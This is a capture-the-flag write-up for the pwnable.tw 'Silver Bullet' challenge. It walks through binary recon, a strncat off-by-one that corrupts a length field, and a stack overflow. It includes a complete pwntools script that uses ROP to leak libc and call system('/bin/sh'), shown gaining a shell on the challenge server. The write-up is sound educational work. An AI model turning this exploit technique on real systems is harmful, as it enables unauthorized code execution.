Description#

Please kill the werewolf with silver bullet!

nc chall.pwnable.tw 10103

file:#

$> file silver_bullet

silver_bullet: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2
.6.32, BuildID[sha1]=8c95d92edf8bf47b6c9c450e882b7142bf656a92, not stripped

The actually useful parts of this are the not stripped, the 32-bit part. Also whether or not it’s dynamically or statically linked.

So far we have an unstripped 32-bit executable. Only reason I care about the 32-bit part is in case we come across a vuln that requires brute-forcing an address. 64-bit makes the brute-force process take longer than the heat death of the universe so best to avoid that.

checksec:#

$> checksec silver_bullet
[*] '/home/exiled/Desktop/ctf/pwnable_tw/silvery_2/silver_bullet'
    Arch:       i386-32-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No

Full RELRO, but no canary, PIE/ASLR, and we get symbols. Wack.

Quick recap on what full RELRO is, it just relocates the GOT section and also makes it read-only. Proof in case you don’t believe me.

The important excerpts are as follows:

Firstly, PLT needs to be located at a fixed offset from the .text section. Secondly, since GOT contains data used by different parts of the program directly, it needs to be allocated at a known static address in memory. Lastly, and more importantly, because the GOT is lazily bound it needs to be writable. -SNIP-

Basically Full RELRO makes overwriting this GOT impossible, free/malloc hook overwrites, ROP, and most other attacks are all still on the table :3.

Running it:#

$> ./silver_bullet
+++++++++++++++++++++++++++
       Silver Bullet
+++++++++++++++++++++++++++
 1. Create a Silver Bullet
 2. Power up Silver Bullet
 3. Beat the Werewolf
 4. Return
+++++++++++++++++++++++++++
Your choice :

All hail our lord and savior, menu chall! Anyways, we’ll figure out what the menus do in a sec. Oh, btw I’m using pwninit to actually be able to run this binary, because I’m too lazy to actually learn to use a docker pwn environment.

CWE Checker#

Aight, this one doesn’t always work so ¯\_(ツ)_/¯

>$ cwe_checker silver_bullet

[CWE676] (0.1) (Use of Potentially Dangerous Function) create_bullet (08048840) -> strlen
[CWE676] (0.1) (Use of Potentially Dangerous Function) power_up (08048889) -> memset
[CWE676] (0.1) (Use of Potentially Dangerous Function) power_up (080488fb) -> strncat
[CWE676] (0.1) (Use of Potentially Dangerous Function) power_up (08048907) -> strlen
[CWE676] (0.1) (Use of Potentially Dangerous Function) main (0804896e) -> memset

Oh sick it actually did something. Okay so I’ll start off by mainly looking at the power_up and create_bullet functions. Mainly due to the fact that simply touching a string in C is practically undefined behavior xd. What specifically catches my eye here is the strncat call, since why tf would you use strncat over just snprintf. Also, string manipulation in C is pretty shit, and people always suck at remembering the null byte, or they miscalculate the length, mess up their buffer, etc. The list goes on.

Tbh I forgot what strncat does anyways so lets pull up the man pages to refresh our mind palaces.

Boring but useful reading…#

$> man strncat

Blah blah, synopsis, blah blah description, blah blah examples


Synopsis

char *strncat(char *restrict dst, const char src[restrict .ssize], size_t ssize);

Return value

strncat returns dst

..snip..

And description (cut for usefulness):

Blah blah, function appends bytes from the array pointed to by src, followed by a null character, to the end of the string pointed to by dst. dst must point to a string contained in a buffer that is large enough, that is, the buffer size must be at least strlen(dst) + strnlen(src, ssize) + 1.

Oh, no wonder people screw the function up, tf is this buffer length requirement… wdym the buffer size must be at least strlen(dst) + strnlen(src, ssize) + 1.

So you gotta make sure that the strlen != ssize otherwise the null byte overwrites dst by one… bruh. Anyways, lets run the rest of the program then finally load it into your preferred decompiler.

Nah I’m not done clowning on this, what even is this example.

The last part of recon I swear.#

Okay, finally lets just see the last menus.

+++++++++++++++++++++++++++
       Silver Bullet
+++++++++++++++++++++++++++
 1. Create a Silver Bullet
 2. Power up Silver Bullet
 3. Beat the Werewolf
 4. Return
+++++++++++++++++++++++++++
Your choice :1
Give me your description of bullet :rawrxd
Your power is : 6
Good luck !!

+++++++++++++++++++++++++++
       Silver Bullet
+++++++++++++++++++++++++++
 1. Create a Silver Bullet
 2. Power up Silver Bullet
 3. Beat the Werewolf
 4. Return
+++++++++++++++++++++++++++
Your choice :2
Give me your another description of bullet :uwu
Your new power is : 9
Enjoy it !

+++++++++++++++++++++++++++
       Silver Bullet
+++++++++++++++++++++++++++
 1. Create a Silver Bullet
 2. Power up Silver Bullet
 3. Beat the Werewolf
 4. Return
+++++++++++++++++++++++++++
Your choice :3
>----------- Werewolf -----------<
 + NAME : Gin
 + HP : 2147483647
>--------------------------------<
Try to beat it .....
Sorry ... It still alive !!
Give me more power !!

Main#

Yes, I do use the Rust IL in Binja, why? Because it’s nice. Actual reason is because of explicit mut/non mut, easy differentiation of signed vs unsigned datatypes and return types, loop being better than BS while loops, match ergonomics, etc.

Aight, we got main here, the init_proc function is just classic CTF buffering setup, so we don’t care. The rest is just a classic menu challenge, nothing interesting yet.

Only thing we see is that var_40 variable that gets passed into beat. Currently the functions we care about in order are: create_bullet, power_up, beat

Gimme Some Silver#

Pretty standard, only interesting part is that we’re dereferencing a pointer to check if it’s null. So we’re probably dealing with some kind of struct, and something inside it is 0x30 bytes. Then we’re initializing some integer field in that struct to the number of characters we pass as our input.

The read_input function is about as standard as it comes too, it goes character by character, looks for a newline, and null terminates our string.

boring- let’s move on.

Power Up#

Hmm, aight so from the top, the parts I immediately see that look interesting are:

• Yeaaah, arg1 is definitely a struct, of at least size 0x30. Binja makes auto structs but for the Ghidra and (surprisingly) Ida users I’ll set up what I think the struct is in a sec.

• We have to create the bullet first before powering up

• After making a bullet with random user input we can use power_up to add another description, from there we use the read_input func into that var_38 buffer based off the remaining power of our arg1 struct.

• ❗ Ayo, now we strncat into that var_38 buffer where the size is based off our remaining power.

  • What makes this fishy is that we control the bytes given into arg1 when we first create the object…

Okay lets rename some stuff and make the struct for the powered up thingie.

struct bullet {
    char[0x30] bullet_buf;
    int power;
}

Boss Fight#

Continuing from the above state.

+++++++++++++++++++++++++++
       Silver Bullet
+++++++++++++++++++++++++++
 1. Create a Silver Bullet
 2. Power up Silver Bullet
 3. Beat the Werewolf
 4. Return
+++++++++++++++++++++++++++
Your choice :2
Give me your another description of bullet :BBBBBBBBCCCCCCCC
Your new power is : 1111638545
Enjoy it !

Now would you LOOK at that, we were right! And not only that, our hunch was pretty spot on, although I have no clue exactly how the power value gets calculated. To figure that out I’d have to gdb into the program and so far it doesn’t seem worth the effort yet. However, THEORETICALLY, we should be writing over the bullet struct and into wherever that is. I swear we’ll gdb and figure out exactly what’s happening in a bit, for now I like to imagine I’m on a time crunch for a CTF so lets keep going until we need more in depth info, for now 1111638545 is pretty dang close to MAX_INT size so we should be able to beat the wolf! (Oh wait I forgot to look at that function… Eh, hopefully it’s not a single shot).

+++++++++++++++++++++++++++
       Silver Bullet
+++++++++++++++++++++++++++
 1. Create a Silver Bullet
 2. Power up Silver Bullet
 3. Beat the Werewolf
 4. Return
+++++++++++++++++++++++++++
Your choice :3
>----------- Werewolf -----------<
 + NAME : Gin
 + HP : 2147483647
>--------------------------------<
Try to beat it .....
Sorry ... It still alive !!
Give me more power !!

+++++++++++++++++++++++++++
       Silver Bullet
+++++++++++++++++++++++++++
 1. Create a Silver Bullet
 2. Power up Silver Bullet
 3. Beat the Werewolf
 4. Return
+++++++++++++++++++++++++++
Your choice :3
>----------- Werewolf -----------<
 + NAME : Gin
 + HP : 1035845102
>--------------------------------<
Try to beat it .....
Oh ! You win !!
fish: Job 2, './silver_bullet_patched' terminated by signal SIGSEGV (Address boundary error)

Hack and Slash#

Sweetness! So I personally use pwninit to set up my environment. Pretty much all we have to do is type pwninit inside the directory our challenge is in and if we’re provided a libc file it’ll just go and grab the relevant linker, give you libc symbols, create an exploit script for you, pay for your college, save your dog from a burning building, etc!

Okay, listen I never said it was perfect…

Ooo look, shiny exploit script over there!

#!/usr/bin/env python3
from pwn import *

exe = ELF("./silver_bullet_patched")
libc = ELF("./libc_32.so.6")
ld = ELF("./ld-2.23.so")
context.binary = exe

ru = lambda *x, **y: p.recvuntil(*x, **y)
rl = lambda *x, **y: p.recvline(*x, **y)
rc = lambda *x, **y: p.recv(*x, **y)
sla = lambda *x, **y: p.sendlineafter(*x, **y)
sa = lambda *x, **y: p.sendafter(*x, **y)
sl = lambda *x, **y: p.sendline(*x, **y)
sn = lambda *x, **y: p.send(*x, **y)

if args.REMOTE:
    p = connect("addr", 1337)
elif args.GDB:
    # If there's stupid timers:
    # handle SIGALRM ignore
    gdb_script = """
    b main
    c
    """
    p = gdb.debug([exe.path], gdb_script)
else:
    p = process([exe.path]) # For swapping to pwninit.
def create(bul_desc):
    sla(b"Your choice :", b"1") # Create
    sla(b"Give me your description of bullet :",bul_desc)
    ru(b"Good luck !!\n")

def power_up(bul_desc):
    sla(b"Your choice :", b"2") # Power up
    sla(b"Give me your another description of bullet :", bul_desc)
    ru(b"Enjoy it !\n")

def beat():
    sla(b"Your choice :", b"3") # Power up

create(b"A"*(0x30-1))# Create
power_up(b"A")
beat() # Beat


# Tick 197 Certified ;)
p.interactive()

struct bullet {
    char[48] bullet_buf;
    int power;
}

..snip
// Before strcat bullet looks like
//                   A * 47 + null byte
// bullet->bullet_buff = [AAAAAA..AAAAAA0]
// bullet->power       = 47
strncat(bullet, &temp_desc, 0x30 - bullet->power);
// After strcat:
//                      A * 48 + null byte
// bullet->bullet_buff = [AAAAAA..AAAAAAA]0
// bullet->power       = 0----------------^

let new_len: size_t = strlen(&temp_desc);
let new_power: i32 = bullet->power + new_len;

Pwnnut Butter and Gef-fy Sandwich#

Okay, so lets put some breakpoints at the interesting places, specifically at the strncat and read_input calls. Which also lets us see the bullet in memory both before the concat, and after.

Okay, looking good so far! We’ve filled up the memory just up to the end of the buffer with the null byte taking the 48th spot and not counting for our length like so:

0xfff16b24:     0x41414141      0x41414141      0x41414141      0x00414141

Lets move onto the strcat part.

Immediately after it we were pretty much spot on with our reasoning, the power gets overwritten like expected. Now it’ll get written into with the new strlen.

Great! And now that our power is set to 1 again, let’s power up and abuse strncat to write past our buffer and overwrite the return address.

Before the strncat:

After the strncat:

As we can see in our expressions tab, we’ve overwritten way past our buffer (Also during this time I updated my layout view a lot so now you get binary ninja decompilation on the right of the disassembly! :3).

Also here’s where we get the big number for the power, turns out it was just subtracting one from a bunch of A’s lol.

And now for the fun part, here’s where we overwrite the base pointer of the stack (EBP)! Basically what this means for us is the next time we return without adding something else to the stack base pointer we’ll be able to overwrite the return pointer, the main way we can do that just so happens to be by beating the wolf, then the program completes and we should be ready for the last stretch!

We’ve already shown that we can beat the wolf so lets skip to the aftermath.

And just like that, we’re in

Well not exactly, we overwrote this part of the program so what now? The program has the NX bit enabled so we can’t just write shellcode and run it. Well, that’s where ROP comes in!!

Return to Monke- I mean Libc#

So in order for this plan to work, if the random assembly gadgets found in the program won’t work, the ones in the programs libc definitely will! The only downside is getting there :(

In order for us to just hop around, we have to print out an address related to libc. Luckily we happen to have a very pretty table of libc addresses in the PLT and GOT.

Jump you say?#

Great! So all we have to do is call the PLT implementation of puts and pass it the arguments it expects, which is just an address, then it’s game over!

Lets go over the additional parts of the exploit script:

offset = 0x30
puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
payload = b"B" * offset
sla(b"Give me your another description of bullet :", payload) # Overwrite stuff
sla(b"Your choice :", b"3") # Beat
sla(b"Your choice :", b"3") # Beat

So this gets us the addresses of the PLT and GOT parts of puts, we’re going to essentially be taking these and setting up the program in such a way that we can execute

puts_plt(puts_got)

Which just means taking the puts, loading the address of puts_got into the EDI register, then calliing puts_plt! From here I just need to get the exact offset for our overwrite, so I’m going to use a cyclic string to get the offset like so:

$≻ pwn cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa

Pass it into the program, which will crash like so:

And we can take that and look up the exact offset it takes to overwrite the return address with cyclic -l 0x61616361, giving us an offset of 7. So let’s set our offset in the pwn script to 7, then we can make our little things! I’m going to use my iPython window to experiment with everything instead of doing the ROP manually, which I’d only have to do with really weird gadgets. Also I’m going to use pwntools to automate the boring parts of the rop chain, which would basically just be me grabbing the address of puts, main, and the puts_plt address, and chaining them together (It’s just easier this way).

In [45]: rop = ROP(exe)
In [46]: rop.puts(exe.got['puts'])
In [48]: rop.call(exe.sym['main'])
In [49]: print(rop.dump())
0x0000:        0x80484a8 puts(0x804afdc)
0x0004:        0x8048954 0x8048954()
0x0008:        0x804afdc got.puts

Perfect! Our automated chain found the gadgets necessary to place the address of puts_got into our puts_plt call, and it popped out a nice little chain that we can use in our script like so:

r = ROP(exe)
# ..snip
offset = 7
puts_got = exe.got['puts']

# ..snip, skip the create and power up stuff

r.puts(puts_got)
r.call(exe.sym.main)
# This auto calls puts_plt
payload = flat(
    b"B"*offset,
    r.chain(), # Calls puts with the got puts address.
    p64(exe.sym.main), # Lastly, calls main
)

So here I’m making a payload to send to the program. By this point we’ve gotten to the 3rd power up where we can overwrite stuff. So now let’s beat it and take this home.

Home Stretch#

Our current script (minus the menu stuff):

create(b"A" * (0x30-1))
power_up(b"A")

# --- Overwrite parts
offset = 7
puts_plt = exe.plt['puts']
puts_got = exe.got['puts']

# This changes r.chain() to include those instructions we saw.
r.puts(puts_got)
r.call(0x80487e7)
# 0x0000:        0x80484a8 puts(0x804afdc)
# 0x0004:        0x8048954 0x8048954()
# 0x0008:        0x804afdc got.puts
payload = flat(
    b"C"*offset,
    r.chain(), # Calls puts with the got puts address.
    b"DDDD"
)
power_up(payload)
beat()
beat()
ru(b"Oh ! You win !!")
rl() # Grab junk
# Grab the libc leak
leak = u32(rl()[:-1])
#^ Get rid of the newline at the end, then unpack it
print(f"=== leakin all by yourself handsome :3 ? {hex(leak)}")
libc.address = leak - libc.sym.puts

So after executing our script, we’re rewarded with a leak of libc!

The @\xc1\xe7\x7f is the result of printing out the GOT address of puts! Only downside is now we have to beat the wolf again to complete the second part of our exploit. But now we have the ability to jump anywhere in libc, and also call whatever we want, from here it’s smooth sailing and we’re just going to call system with the /bin/sh string, which will give us a shell!

Final Final Stretch#

Here’s the part 2 of our script since we need to “beat” the wolf again.

# --- Part 2: We gotta beat this bitch again >.>

rop2 = ROP(libc) # Generate a rop chain using the libc we leaked
rop2.system(bin_sh) # Call system('/bin/sh')
rop2.exit()
# Exit or any valid pointer to not crash the program
# 0x0000: 0xf7e57940 system(0xf7f75e8b)
# 0x0004: 0xf7e4b7b0 exit()
# 0x0008: 0xf7f75e8b arg0 = "/bin/sh\x00"

payload2 = flat(
    b"D" * offset,
    rop2.chain()
)
info("Round 2 FIGHT")
create(b"A"*(0x30-1))
power_up(b"A")
# Make our second rop chain
power_up(payload2)
beat()
beat()

Pretty much just the same flow for the first one, except our payload is slightly different, and this time because we used libc.address = leak - libc.sym.puts, we automatically get the base of libc, and can now call things by creating an automatic rop-chain based off libc instead of just our program! So we can literally just use rop2.execve or rop2.system with whatever input we want and it’s game over! Now to rest it on remote!

[+] Opening connection to chall.pwnable.tw on port 10103: Done
[-]..snip
Your choice :
[*] Sending payload3 here
[*] Switching to interactive mode
>----------- Werewolf -----------<
 + NAME : Gin
 + HP : 1002159083
>--------------------------------<
Try to beat it .....
Oh ! You win !!
$ ls
bin
boot
dev
etc
home
$ cd home
$ ls
silver_bullet
$ cd silver_bullet
$ ls
flag
run.sh
silver_bullet
$ cat flag
FLAG{n0t_r3al_f14g_btw_:3}

Perfect! Hope you enjoyed!

Full exploit script:#

And here’s the final exploit script if you wanted to go through it, it’s got a lot of stuff that’s specific to me though, like all the shorthands, but you can replace it with the long-form versions if it doesn’t make sense.

#!/usr/bin/env python3
from pwn import *

exe = ELF("./silver_bullet_patched")
libc = ELF("./libc_32.so.6")
ld = ELF("./ld-2.23.so")
context.binary = exe
r = ROP(exe)
ru = lambda *x, **y: print(p.recvuntil(*x, **y))
rl = lambda *x, **y: p.recvline(*x, **y)
rc = lambda *x, **y: p.recv(*x, **y)
sla = lambda *x, **y: print(p.sendlineafter(*x, **y).decode())
sa = lambda *x, **y: p.sendafter(*x, **y)
sl = lambda *x, **y: p.sendline(*x, **y)
sn = lambda *x, **y: p.send(*x, **y)

if args.REMOTE:
    p = remote("chall.pwnable.tw", 10103)
elif args.GDB:
    # If there's stupid timers:
    # handle SIGALRM ignore
    gdb_script = """
    cwatch execute "x/16xw  0xffffcfe8"
    # b *0x80488dd
    # ^ read_input call
    # b *0x80488fb
    # ^ strncat call
    b beat
    b *0x80487fa
    # ^ After the beat function
    b *0x8048a19
    # ^ after the last beats and exit to main where we call puts@plt(puts@got)
    c
    """
    p = gdb.debug([exe.path], gdb_script, aslr=False)
else:
    p = process([exe.path])

def create(bul_desc):
    sla(b"Your choice :", b"1") # Create
    sla(b"Give me your description of bullet :",bul_desc)
    ru(b"Good luck !!\n")

def power_up(bul_desc):
    sla(b"Your choice :", b"2") # Power up
    sla(b"Give me your another description of bullet :", bul_desc)
    ru(b"Enjoy it !\n")

def beat():
    sla(b"Your choice :", b"3") # Power up

# Overwrite a bunch of stuff before we beat

create(b"A" * (0x30-1))
power_up(b"A")

# --- Overwrite parts
offset = 7
puts_plt = exe.plt['puts']
# Ended up not using this btw, since r.puts already calls puts@plt
puts_got = exe.got['puts']

# This changes r.chain() to include those instructions we saw.
r.puts(puts_got)
r.call(exe.sym['main'])
# 0x0000:        0x80484a8 puts(0x804afdc)
# 0x0004:        0x8048954 0x8048954()
# 0x0008:        0x804afdc got.puts
payload = flat(
    b"C"*offset,
    r.chain(), # Calls puts with the got puts address.
)
power_up(payload)
beat()
beat()
ru(b"Oh ! You win !!")
rl() # Grab junk
# Grab the libc leak
leak = u32(rl()[:-1]) # Get rid of the newline at the end, then unpack it

print(f"=== leaky? {hex(leak)}")
libc.address = leak - libc.sym.puts
bin_sh = next(libc.search("/bin/sh\x00"))
info(f"libc addr: {hex(libc.address)}")
info(f"bin sh: {hex(bin_sh)}")
info(f"system: {hex(libc.sym['system'])}")

# --- Part 2: We gotta beat this bitch again >.>

rop2 = ROP(libc) # Generate a rop chain using the libc we leaked
rop2.system(bin_sh) # Call system('/bin/sh')
rop2.exit()

payload2 = flat(
    b"D" * offset,
    rop2.chain()
)
info("Round 2 FIGHT")
create(b"A"*(0x30-1))
power_up(b"A")
# Make our second rop chain
info("Sending payload here")
power_up(payload2)
beat()
beat()
info("Sending payload3 here")

p.interactive()
# Tick 197 Certified ;)